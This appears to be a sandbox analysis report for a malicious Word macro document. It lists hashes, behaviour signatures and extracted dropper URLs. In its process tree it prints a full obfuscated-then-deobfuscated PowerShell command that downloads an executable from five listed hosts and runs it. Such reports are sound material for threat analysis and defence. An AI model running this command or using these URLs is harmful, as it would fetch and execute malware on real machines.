Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

8

d544eb2d17...18.doc

windows7-x64

10

d544eb2d17...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    08/09/2024, 23:16

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    d544eb2d174cf3065c457942e2087e78_JaffaCakes118.doc

  • Size

    132KB

  • MD5

    d544eb2d174cf3065c457942e2087e78

  • SHA1

    d9d9055b06fd5984da73ce9f1a0dcd4670898c8d

  • SHA256

    ac1799f9b3a672cdbf5d43c8a2d5c83c07069d2404e6a95c6e21a1abce0c3040

  • SHA512

    e8ca8f1c412c18eb0f60f11186aa99b162228c36de5f6fd007e54e8d71c7906708f9689da60fe1fc4f8f7a3caae3b666e6ebb840b8b37ba5afa83927debca860

  • SSDEEP

    1536:eVO81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvad8/2GeUUt/YQJFm0DaqGq+aa:eM8GhDS0o9zTGOZD6EbzCd8/cplVDaqQ

Score
10/10
discoveryexecution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.binsuloomgroup.com/wp-content/uploads/TyUg_qOsCOz4O_5uPw9YSbO
exe.dropper

http://bonnyprint.com/wp-content/PCT_0H8S_L9zVHlYSF
exe.dropper

http://ftp.spbv.org/worem_2o27v_d
exe.dropper

http://flowersgalleryevents.ayansaha.com/2Z4fO_YmAY_BqDF1wD
exe.dropper

https://anhle.art/t2ZZ_zOxsnfkSJ_ClUxs

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d544eb2d174cf3065c457942e2087e78_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2112
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Stravenue97='Optional62';$Hill31=new-object Net.WebClient;$Group47='http://www.binsuloomgroup.com/wp-content/uploads/TyUg_qOsCOz4O_5uPw9YSbO@http://bonnyprint.com/wp-content/PCT_0H8S_L9zVHlYSF@http://ftp.spbv.org/worem_2o27v_d@http://flowersgalleryevents.ayansaha.com/2Z4fO_YmAY_BqDF1wD@https://anhle.art/t2ZZ_zOxsnfkSJ_ClUxs'.Split('@');$Rubber88='harddrive59';$Incredible77 = '168';$Maine11='Programmable66';$onetoone77=$env:public+'\'+$Incredible77+'.exe';foreach($protocol41 in $Group47){try{$Hill31.DownloadFile($protocol41, $onetoone77);$asymmetric79='optimize68';If ((Get-Item $onetoone77).length -ge 80000) {Invoke-Item $onetoone77;$PracticalMetalChair95='Berkshire11';break;}}catch{}}$CSS71='opensource91';
        2⤵
        • Process spawned unexpected child process
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2772
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $Stravenue97='Optional62';$Hill31=new-object Net.WebClient;$Group47='http://www.binsuloomgroup.com/wp-content/uploads/TyUg_qOsCOz4O_5uPw9YSbO@http://bonnyprint.com/wp-content/PCT_0H8S_L9zVHlYSF@http://ftp.spbv.org/worem_2o27v_d@http://flowersgalleryevents.ayansaha.com/2Z4fO_YmAY_BqDF1wD@https://anhle.art/t2ZZ_zOxsnfkSJ_ClUxs'.Split('@');$Rubber88='harddrive59';$Incredible77 = '168';$Maine11='Programmable66';$onetoone77=$env:public+'\'+$Incredible77+'.exe';foreach($protocol41 in $Group47){try{$Hill31.DownloadFile($protocol41, $onetoone77);$asymmetric79='optimize68';If ((Get-Item $onetoone77).length -ge 80000) {Invoke-Item $onetoone77;$PracticalMetalChair95='Berkshire11';break;}}catch{}}$CSS71='opensource91';
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2628

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CA76915C.wmf
      Filesize

      494B

      MD5

      234e0d5063e51e1a269689538b2cf916

      SHA1

      b18b0884334c1fbf98dc128edfcd5a6667a40e32

      SHA256

      5ea18d3b339c3de0524fadf0fceb082ceb1599e08ff0ba24fdbc64b0ca750e52

      SHA512

      fb710caef8b572c6072250521df3046d46a911a50ee7fab46540f61c17503fc3e160b55aded1a3162ff872db667267b7141e4eb70f7d91d555c096010b6a2925

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      19KB

      MD5

      ddc240e03b7fb3bf4090cebf89402e3b

      SHA1

      f6f03c66ea07a2f990fbbd78046d1aa38998575b

      SHA256

      9da19b3f8b1c4f724a2d19b928737b708cd6ea45086cdf4bd340622824f87023

      SHA512

      633954b63f0324bc41b10d9ee7cb87fa999e709afdc052b3b967334253553beefe7ab429f9d31a392b95ca0d1e507e31e800c4f39f3f334c6bba67a0a8c5d64f

      Download Submit

    • memory/2240-28-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2240-41-0x000000007108D000-0x0000000071098000-memory.dmp

      Filesize

      44KB

      Download

    • memory/2240-2-0x000000007108D000-0x0000000071098000-memory.dmp

      Filesize

      44KB

      Download

    • memory/2240-26-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2240-27-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2240-29-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2240-0-0x000000002F2E1000-0x000000002F2E2000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2240-6-0x00000000064B0000-0x00000000065B0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2240-42-0x00000000064B0000-0x00000000065B0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2240-43-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2240-44-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2240-45-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2240-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2240-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2240-66-0x000000007108D000-0x0000000071098000-memory.dmp

      Filesize

      44KB

      Download